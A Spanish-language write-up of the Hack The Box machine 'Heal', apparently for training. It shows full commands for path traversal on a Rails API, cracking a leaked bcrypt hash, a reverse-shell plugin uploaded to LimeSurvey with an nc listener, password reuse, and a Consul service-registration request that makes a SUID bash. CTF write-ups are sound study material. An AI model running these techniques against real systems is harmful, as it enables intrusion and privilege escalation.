Descripción

Heal es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Cruce de directorios en una aplicación web Ruby on Rails
  • Volcado de una base de datos en una aplicación web Ruby on Rails
  • Contraseña débil encontrada en el volcado de base de datos permite el acceso a la aplicación de LimeSurvey
  • Ejecución de comandos remotos utilizando la aplicación LimeSurvey y la subida de un plugin malicioso.️
  • Pivote de usuario mediante el uso de una contraseña reutilizada desde un archivo de configuración de LimeSurvey
  • Escalada de privilegios mediante el abuso de una instancia débil de Consul que permite la ejecución de comandos

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.30.209.

$ ping -c 3 10.129.30.209
PING 10.129.30.209 (10.129.30.209) 56(84) bytes of data.
64 bytes from 10.129.30.209: icmp_seq=1 ttl=63 time=47.2 ms
64 bytes from 10.129.30.209: icmp_seq=2 ttl=63 time=47.5 ms
64 bytes from 10.129.30.209: icmp_seq=3 ttl=63 time=47.6 ms

--- 10.129.30.209 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.216/47.424/47.588/0.155 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.30.209 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.30.209
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.08 seconds

Encontramos dos puertos abiertos: 22 y 80.

Enumeración️

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.30.209 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.30.209
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.79 seconds

Encontramos dos servicios: un Secure Shell (SSH) y otro Hypertext Transfer Protocol (HTTP). Dado que no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Podemos ver que el servicio HTTP se redirecciona a heal.htb. Por lo tanto, agregamos esta dirección a la archivo /etc/hosts.

$ echo "10.129.30.209 heal.htb" | sudo tee -a /etc/hosts

Encontramos un servicio en el que se pueden crear currículums profesionales. Podemos iniciar sesión o crear una cuenta. Vamos a crear una nueva cuenta.️ Para el registro, la interfaz de usuario llama a un método de API ubicado en el subdominio api.heal.htb, por lo que lo agregamos al archivo /etc/hosts.️

$ echo "10.129.30.209 api.heal.htb" | sudo tee -a /etc/hosts

Después de registrarse, obtenemos una sesión en el sitio web. Se pueden rellenar los datos y al final de la página tenemos el botón EXPORT AS PDF, que se puede utilizar para generar un archivo PDF con el currículum.️ Antes de generar el currículum, comprobamos que en la parte superior de la página tenemos el botón SURVEY que nos lleva al enlace http://take-survey.heal.htb/index.php/552933?lang=en. Por lo tanto, agregamos la subdominio a archivo hosts.️

$ echo "10.129.30.209 take-survey.heal.htb" | sudo tee -a /etc/hosts

Cuando generamos el archivo PDF, encontramos el enlace de descarga, http://api.heal.htb/download?filename=e07dea046232edc4a02e.pdf. El endpoint filename está apuntando al archivo e07dea046232edc4a02e.pdf en el parámetro filename. Al realizar un reconocimiento de la aplicación api, encontramos que es una aplicación web de Ruby on Rails 7.1.4.️

$ whatweb api.heal.htb
http://api.heal.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.30.209], Title[Ruby on Rails 7.1.4], UncommonHeaders[x-content-type-options,x-permitted-cross-domain-policies,referrer-policy,x-request-id], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0], nginx[1.18.0]

Explotación️

Nos aseguramos de que el parámetro filename de la API de descarga está expuesto a una vulnerabilidad de cruce de directorios, lo que permite la recuperación del archivo /etc/passwd. Encontramos como usuarios de consola a root, ron y ralph.️

$ curl -s -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' --path-as-is 'http://api.heal.htb/download?filename=../../../../../../etc/passwd' | grep bash

root:x:0:0:root:/root:/bin/bash
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash

Como esta es una aplicación de Ruby on Rails, podemos comprobar si existe un código de muestra de aplicación en Github, como este para buscar archivos de configuración. Encontramos que el archivo ../config/database.yml existe.️

$ curl -s -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' --path-as-is 'http://api.heal.htb/download?filename=../../config/database.yml'
# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

production:
  <<: *default
  database: storage/development.sqlite3

El archivo de la base de datos está guardado en el archivo storage/development.sqlite3. Vamos a descargarlo.️

$ curl -s -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' --path-as-is 'http://api.heal.htb/download?filename=../../storage/development.sqlite3' -o development.sqlite3

Somos capaz de recuperar la contraseña en forma de hash de ralph en la base de datos, desde la tabla users, $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG.

$ sqlite3 development.sqlite3    
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .tables
ar_internal_metadata  token_blacklists    
schema_migrations     users               
sqlite> select * from users;
1|ralph@heal.htb|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG|2024-09-27 07:49:31.614858|2024-09-27 07:49:31.614858|Administrator|ralph|1

Podemos romper la contraseña utilizando John The Ripper.️

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369        (ralph)     
1g 0:00:00:04 DONE 0.2341g/s 134.8p/s 134.8c/s 134.8C/s 12345678910..parola
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Encontramos la contraseña para el usuario ralph en la aplicación de API web, 147258369. Pasando al enlace de encuesta take-survey encontramos que podemos completar una encuesta de una pregunta.️ Podemos acceder al panel de administración utilizando el enlace http://take-survey.heal.htb/index.php/admin/authentication/sa/login. Necesitamos credenciales para iniciar sesión, y las encontradas previamente para el usuario ralph son válidas.️ Accedemos al panel de administración del aplicativo web LimeSurvey. Al final del panel podemos encontrar la versión de LimeSurvey utilizada es la 6.6.4.️ Podemos obtener ejecución de comandos remotos subiendo un plugin malicioso a la aplicación web. Primero vamos a crear el manifiesto del plugin en el archivo config.xml:️

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>Lime</name>
        <type>plugin</type>
        <creationDate>2024-06-01</creationDate>
        <lastUpdate>2024-06-01</lastUpdate>
        <author>Heal</author>
        <authorUrl>https://heal.htb/</authorUrl>
        <supportUrl>https://heal.htb/</supportUrl>
        <version>1.0</version>
        <license>Heal</license>
        <description>
                <![CDATA[Author : Lime]]></description>
    </metadata>

    <compatibility>
        <version>6.0</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>

Luego copiamos un archivo de reversa de concha PHP y lo editamos con nuestros parámetros de dirección IP y puerto.️

$ cp /usr/share/webshells/php/php-reverse-shell.php .

Después de eso, empaquetamos los dos archivos en un archivo ZIP.️

$ zip plugin.zip config.xml php-reverse-shell.php

Podemos subir finalmente el plugin al LimeSurvey pero primero necesitamos abrir un puerto de escucha en nuestra máquina.️

$ nc -nvlp 1234

Luego, en la consola de navegación podemos movernos a la sección Configuration > Plugins.️ Hacemos clic en el botón Upload & install y subimos el plugin malicioso haciendo clic en Install.️ Podemos desencadenar la vulnerabilidad ejecutando el archivo PHP.️

$ curl 'http://take-survey.heal.htb/upload/plugins/Lime/php-reverse-shell.php'

Recibimos una consola como el usuario www-data.️

$ nc -nvlp 1234 
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.129.30.209] 33178
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 00:04:22 up 2 days, 11:36,  0 users,  load average: 0.13, 0.05, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Post-Explotación️

Enumerando archivos, encontramos el archivo de configuración para LimeSurvey en el archivo /var/www/limesurvey/application/config/config.php.️

www-data@heal:/$ cat /var/www/limesurvey/application/config/config.php
...
return array(
        'components' => array(
                'db' => array(
                        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
                        'emulatePrepare' => true,
                        'username' => 'db_user',
                        'password' => 'AdmiDi0_pA$$w0rd',
                        'charset' => 'utf8',
                        'tablePrefix' => 'lime_',
                ),

Encontramos las credenciales de la base de datos PostgreSQL survey, con el nombre de usuario db_user y contraseña AdmiDi0_pA$$w0rd. Encontramos que la contraseña se utiliza nuevamente para el usuario roy en la máquina, por lo que podemos acceder mediante SSH.️

$ ssh ron@heal.htb                                                             ...
ron@heal:~$ id
uid=1001(ron) gid=1001(ron) groups=1001(ron)

Con la sesión de ron podemos enumerar los procesos que están ejecutándose en el sistema. Encontramos uno interesante, consul.️

ron@heal:~$ ps -ef | grep root
...
root         994       1  0 Dec12 ?        00:21:43 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d
...

Consul es una solución de red de servicios para automatizar la configuración de redes, descubrir servicios y habilitar conectividad segura en cualquier nube o entorno de ejecución. Si no se configura correctamente es posible ejecutar comandos fácilmente como el propietario del proceso tal como se muestra aquí. Deberíamos tener un token ACL pero vamos a ejecutar el comando sin él. Primero, crearemos el archivo /tmp/exploit.sh que copiará y hará SUID del archivo de binario Bash en el directorio /tmp.️

ron@heal:~$ echo -e 'cp /bin/bash /tmp/suid-bash;chmod u+s /tmp/suid-bash' > /tmp/exploit.sh

Luego enviamos la solicitud para ejecutar el comando al servicio de localhost en el puerto 8500, que está en ejecución.️

ron@heal:~$ ss -tulnp | grep 8500
tcp   LISTEN 0      4096       127.0.0.1:8500       0.0.0.0:*

ron@heal:~$ curl --header "X-Consul-Token: notoken" --request PUT -d '{"ID": "test", "Name": "test", "Address": "127.0.0.1", "Port": 80, "check": {"Args": ["/usr/bin/bash", "/tmp/exploit.sh"], "interval": "10s", "timeout": "1s"}}' http://127.0.0.1:8500/v1/agent/service/register

Después de unos segundos, encontramos que se ha creado el binario Bash SUID, podemos ejecutarlo para obtener una sesión de root.️

ron@heal:~$ ls /tmp/suid-bash
/tmp/suid-bash
ron@heal:~$ /tmp/suid-bash -p
suid-bash-5.1# id
uid=1001(ron) gid=1001(ron) euid=0(root) groups=1001(ron)

Flags

En la consola de root podemos recuperar las banderas de user y root.️

suid-bash-5.1# cat /home/ron/user.txt 
<REDACTED>
suid-bash-5.1# cat /root/root.txt 
<REDACTED>